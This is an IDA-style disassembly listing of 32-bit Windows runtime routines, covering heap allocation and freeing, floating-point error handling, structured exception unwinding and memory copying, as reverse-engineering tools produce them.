loc_417BA2:				; CODE XREF: sub_417B9B+27j
		push	[esp+arg_0]
		call	sub_417BC7
		test	eax, eax
		pop	ecx
		jnz	short locret_417BC6
		cmp	[esp+arg_4], eax
		jz	short locret_417BC6
		push	[esp+arg_0]
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	short loc_417BA2


loc_417BC4:				; CODE XREF: sub_417B9B+5j
		xor	eax, eax

locret_417BC6:				; CODE XREF: sub_417B9B+13j
					; sub_417B9B+19j
		retn
sub_417B9B	endp


; =============== S U B	R O U T	I N E =======================================



sub_417BC7	proc near		; CODE XREF: sub_417B9B+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4CF028
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_417BEB
		cmp	esi, dword_4CF020
		ja	short loc_417C1D
		push	esi
		call	sub_41B0DD
		test	eax, eax
		pop	ecx
		jz	short loc_417C1D
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_417BEB:				; CODE XREF: sub_417BC7+Dj
		cmp	eax, 2
		jnz	short loc_417C1D
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_417C00
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_417C03
; ---------------------------------------------------------------------------


loc_417C00:				; CODE XREF: sub_417BC7+2Fj
		push	10h
		pop	esi


loc_417C03:				; CODE XREF: sub_417BC7+37j
		cmp	esi, dword_435EB4
		ja	short loc_417C2A
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41BB80
		test	eax, eax
		pop	ecx
		jnz	short loc_417C39
		jmp	short loc_417C2A
; ---------------------------------------------------------------------------


loc_417C1D:				; CODE XREF: sub_417BC7+15j
					; sub_417BC7+20j ...
		test	esi, esi
		jnz	short loc_417C24
		push	1
		pop	esi


loc_417C24:				; CODE XREF: sub_417BC7+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_417C2A:				; CODE XREF: sub_417BC7+42j
					; sub_417BC7+54j
		push	esi
		push	0
		push	dword_4CF024
		nop
		call	near ptr 2730000h


loc_417C39:				; CODE XREF: sub_417BC7+52j
		pop	esi
		retn
sub_417BC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C3B	proc near		; CODE XREF: sub_402DD7+10Ep
					; sub_402DD7+116p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_417CA1
		mov	eax, dword_4CF028
		cmp	eax, 3
		jnz	short loc_417C67
		push	esi
		call	sub_41AD89
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_417C93
		push	eax
		call	sub_41ADB4
		pop	ecx
		pop	ecx
		jmp	short loc_417CA1
; ---------------------------------------------------------------------------


loc_417C67:				; CODE XREF: sub_417C3B+14j
		cmp	eax, 2
		jnz	short loc_417C92
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41BAE4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_417C92
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41BB3B
		add	esp, 0Ch
		jmp	short loc_417CA1
; ---------------------------------------------------------------------------


loc_417C92:				; CODE XREF: sub_417C3B+2Fj
					; sub_417C3B+44j
		push	esi


loc_417C93:				; CODE XREF: sub_417C3B+20j
		push	0
		push	dword_4CF024
		call	near ptr 2720000h
		nop


loc_417CA1:				; CODE XREF: sub_417C3B+Aj
					; sub_417C3B+2Aj ...
		pop	esi
		leave
		retn
sub_417C3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417CA4(double)

sub_417CA4	proc near		; CODE XREF: sub_403FE6+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_433C30
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_417D2A
		call	sub_41C645
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_417D0D
		cmp	eax, 2
		jle	short loc_417CFF
		cmp	eax, 3
		jnz	short loc_417D0D
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_41BF55
		add	esp, 10h
		jmp	short loc_417D6F
; ---------------------------------------------------------------------------


loc_417CFF:				; CODE XREF: sub_417CA4+3Fj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417D6F
; ---------------------------------------------------------------------------


loc_417D0D:				; CODE XREF: sub_417CA4+3Aj
					; sub_417CA4+44j
		fld	[ebp+arg_0]
		fadd	dbl_4246A8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_417D67
; ---------------------------------------------------------------------------


loc_417D2A:				; CODE XREF: sub_417CA4+2Fj
		call	sub_41C60A
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_417D4D


loc_417D3F:				; CODE XREF: sub_417CA4+ACj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_417D6F
; ---------------------------------------------------------------------------


loc_417D4D:				; CODE XREF: sub_417CA4+99j
		test	bl, 20h
		jnz	short loc_417D3F
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_417D67:				; CODE XREF: sub_417CA4+84j
		call	sub_41BFA8
		add	esp, 1Ch


loc_417D6F:				; CODE XREF: sub_417CA4+59j
					; sub_417CA4+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_417CA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_417D73	proc near		; CODE XREF: ___:00419AC1p
					; DATA XREF: ___:off_433C3Co
		call	sub_417D8B
		call	sub_41C846
		mov	dword_4CD994, eax
		call	sub_41C7F6
		fnclex
		retn
sub_417D73	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_417D8B	proc near		; CODE XREF: sub_417D73p
		mov	eax, offset sub_41CC34
		mov	off_435FD4, offset sub_41C8C9
		mov	off_435FD0, eax
		mov	off_435FD8, offset sub_41C92F
		mov	off_435FDC, offset sub_41C86F
		mov	off_435FE0, offset sub_41C917
		mov	off_435FE4, eax
		retn
sub_417D8B	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417DC4	proc near		; CODE XREF: sub_403FE6+1Bp
					; sub_403FE6+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_417DC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417DEB(double)

sub_417DEB	proc near		; CODE XREF: sub_404032+82p
					; ___:00404CF0p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_433C48
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_417E71
		call	sub_41C645
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_417E54
		cmp	eax, 2
		jle	short loc_417E46
		cmp	eax, 3
		jnz	short loc_417E54
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_41BF55
		add	esp, 10h
		jmp	short loc_417EB6
; ---------------------------------------------------------------------------


loc_417E46:				; CODE XREF: sub_417DEB+3Fj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417EB6
; ---------------------------------------------------------------------------


loc_417E54:				; CODE XREF: sub_417DEB+3Aj
					; sub_417DEB+44j
		fld	[ebp+arg_0]
		fadd	dbl_4246A8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_417EAE
; ---------------------------------------------------------------------------


loc_417E71:				; CODE XREF: sub_417DEB+2Fj
		call	sub_41C60A
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_417E94


loc_417E86:				; CODE XREF: sub_417DEB+ACj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_417EB6
; ---------------------------------------------------------------------------


loc_417E94:				; CODE XREF: sub_417DEB+99j
		test	bl, 20h
		jnz	short loc_417E86
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_417EAE:				; CODE XREF: sub_417DEB+84j
		call	sub_41BFA8
		add	esp, 1Ch


loc_417EB6:				; CODE XREF: sub_417DEB+59j
					; sub_417DEB+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_417DEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EBA	proc near		; CODE XREF: ___:0041D116p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_417EBA	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_417EEE	proc near		; CODE XREF: sub_41D256+199p
					; sub_41D41A+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_417EEE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417EF5	proc near		; CODE XREF: sub_41D256+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_417EF5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_417EFC	proc near		; CODE XREF: sub_4180AE+5Cp
					; sub_41D0A5:loc_41D0D6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_417F24
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_422A4C
sub_417EFC	endp

; ---------------------------------------------------------------------------


loc_417F24:				; DATA XREF: sub_417EFC+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_417F4B:				; CODE XREF: ___:004230ECj
					; ___:00423109j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41CCAA
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F81	proc near		; CODE XREF: sub_41D120+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_417FD5
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_41D4B0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_417F81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FD5	proc near		; DATA XREF: sub_417F81+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41CCAA
		add	esp, 20h
		pop	ebp
		retn
sub_417FD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FFA	proc near		; CODE XREF: sub_41CEEC+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_4180AE
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_418080
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4CDA38
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_418080:				; DATA XREF: sub_417FFA+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41809D
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_4180A6
; ---------------------------------------------------------------------------


loc_41809D:				; CODE XREF: sub_417FFA+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_4180A6:				; CODE XREF: sub_417FFA+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417FFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4180AE	proc near		; DATA XREF: sub_417FFA+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_4180D1
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41811E
; ---------------------------------------------------------------------------


loc_4180D1:				; CODE XREF: sub_4180AE+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41CCAA
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41810F
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_417EFC
; ---------------------------------------------------------------------------


loc_41810F:				; CODE XREF: sub_4180AE+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41811E:				; CODE XREF: sub_4180AE+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4180AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418123	proc near		; CODE XREF: sub_41CD45+C6p
					; sub_41CEEC+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41817A


loc_418141:				; CODE XREF: sub_418123+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41814B
		call	sub_41D552


loc_41814B:				; CODE XREF: sub_418123+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_418160
		cmp	ecx, [eax+8]
		jle	short loc_418165


loc_418160:				; CODE XREF: sub_418123+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_418171


loc_418165:				; CODE XREF: sub_418123+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_418171:				; CODE XREF: sub_418123+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_418141
		mov	eax, [ebp+var_4]


loc_41817A:				; CODE XREF: sub_418123+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41818E
		cmp	esi, eax
		jbe	short loc_418193


loc_41818E:				; CODE XREF: sub_418123+65j
		call	sub_41D552


loc_418193:				; CODE XREF: sub_418123+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_418123	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4181A0	proc near		; CODE XREF: sub_41F774+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_4181B8
		push	[ebp+arg_0]
		call	sub_422A4C
sub_4181A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181B8	proc near		; DATA XREF: sub_4181A0+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4181B8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4181C0	proc near		; DATA XREF: sub_4181E2+Ao
					; sub_41824A+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_4181E1
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_4181E1:				; CODE XREF: sub_4181C0+10j
		retn
sub_4181C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181E2	proc near		; CODE XREF: sub_41D1C6+Dp
					; sub_41F774+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_4181C0
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_4181FF:				; CODE XREF: sub_4181E2:loc_41823Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41823C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41823C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41823A
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_418276
		call	dword ptr [ebx+esi*4+8]


loc_41823A:				; CODE XREF: sub_4181E2+44j
		jmp	short loc_4181FF
; ---------------------------------------------------------------------------


loc_41823C:				; CODE XREF: sub_4181E2+2Aj
					; sub_4181E2+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4181E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41824A	proc near		; CODE XREF: sub_41D1E6+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_4181C0
		jnz	short locret_41826C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41826C
		mov	eax, 1

locret_41826C:				; CODE XREF: sub_41824A+10j
					; sub_41824A+1Bj
		retn
sub_41824A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41826D	proc near		; CODE XREF: sub_41D4B0+1Ep
					; sub_41D4B0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_433C4C
		jmp	short loc_418280
sub_41826D	endp


; =============== S U B	R O U T	I N E =======================================



sub_418276	proc near		; CODE XREF: sub_4181E2+4Fp
					; sub_41F774+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_433C4C
		mov	ecx, [ebp+8]


loc_418280:				; CODE XREF: sub_41826D+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_418276	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418290	proc near		; CODE XREF: sub_404032+5p
					; sub_4041D4+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_418290	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4182AF	proc near		; CODE XREF: sub_404667+26p
					; ___:004227E2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_417C3B
		pop	ecx
		retn
sub_4182AF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182C0	proc near		; CODE XREF: sub_4046D8+3Ap
					; sub_41ADB4+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4182E0
		cmp	edi, eax
		jb	loc_418458


loc_4182E0:				; CODE XREF: sub_4182C0+16j
		test	edi, 3
		jnz	short loc_4182FC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------


loc_4182FC:				; CODE XREF: sub_4182C0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_418314
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41831C+4[eax*4]
; ---------------------------------------------------------------------------


loc_418314:				; CODE XREF: sub_4182C0+46j
		jmp	dword ptr loc_418418[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41831C:				; CODE XREF: sub_4182C0+31j
					; sub_4182C0+8Ej ...
		jmp	off_41839C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41832C+4
		dd offset loc_41835C
; ---------------------------------------------------------------------------


loc_41832C:				; DATA XREF: sub_4182C0+64o
		add	byte ptr [ebx-2EDCFFBFh], 8Ah
		push	es
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41835C:				; DATA XREF: sub_4182C0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41839C	dd offset loc_4183FF	; DATA XREF: sub_4182C0:loc_41831Cr
		dd offset loc_4183EC
		dd offset loc_4183E4
		dd offset loc_4183DC
		dd offset loc_4183D4
		dd offset loc_4183CC
		dd offset loc_4183C4
		dd offset loc_4183BC
; ---------------------------------------------------------------------------


loc_4183BC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_4183C4:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_4183CC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


